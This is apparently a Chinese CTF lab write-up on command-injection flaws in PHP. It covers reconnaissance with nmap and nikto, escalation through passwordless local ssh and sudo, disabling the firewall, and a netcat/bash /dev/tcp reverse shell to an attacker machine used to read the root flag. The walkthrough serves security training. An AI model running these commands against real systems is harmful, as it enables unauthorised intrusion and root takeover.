命令执行漏洞介绍

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。
  调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。

信息探测

扫描主机服务信息以及服务版本
– nmap -sV 靶场IP地址
探测敏感信息
– nikto -host http://靶场IP地址:端口
CTF实验:web安全命令执行
CTF实验:web安全命令执行
CTF实验:web安全命令执行

找到敏感以页面
CTF实验:web安全命令执行
CTF实验:web安全命令执行

漏洞利用

查看临时缓冲目录:ls -alh /tmp/
查看home目录,挖掘用户信息:ls -alh /home/
查看具体用户的目录:ls -alh /home/用户名/
查看系统信息:uname -a

利用ssh命令 执行root权限命令
使用ssh 用户名@localhost通过ssh登录服务器是不需要身份验证的;
查看bill用户 sudo命令的权限:ssh [email protected] sudo -l
关闭防火墙:ssh [email protected] sudo ufw disable

CTF实验:web安全命令执行
CTF实验:web安全命令执行

反弹shell

攻击机启动监听netcat
nc -nlvp 4444
靶场机器反弹shell
ssh [email protected] sudo bash -i >& /dev/tcp/攻击机IP/4444 0>&1

CTF实验:web安全命令执行
CTF实验:web安全命令执行
CTF实验:web安全命令执行

获取Flag

一般情况下,靶场机器的flag值是存放在服务器的根目录下,/root/目录。
cd /root/
ls
cat flag
Writeup 测试文档 总结文档
CTF实验:web安全命令执行

总结

在CTF比赛中,命令执行漏洞具有很多过滤机制。对于开放ssh服务的靶场机器,可以采取本节课中的方法进行渗透靶场机器。如果没有开放ssh服务,则需要利用绕过过滤技巧来达到命令执行的目的。

CTF实验:web安全命令执行

相关文章:

  • 2021-06-16
  • 2021-06-15
  • 2022-01-23
  • 2020-04-21
  • 2021-08-06
  • 2022-12-23
  • 2021-06-08
  • 2022-12-23
猜你喜欢
  • 2021-07-19
  • 2022-01-12
  • 2022-12-23
  • 2021-11-28
  • 2021-06-19
  • 2021-06-22
  • 2021-11-07
相关资源
相似解决方案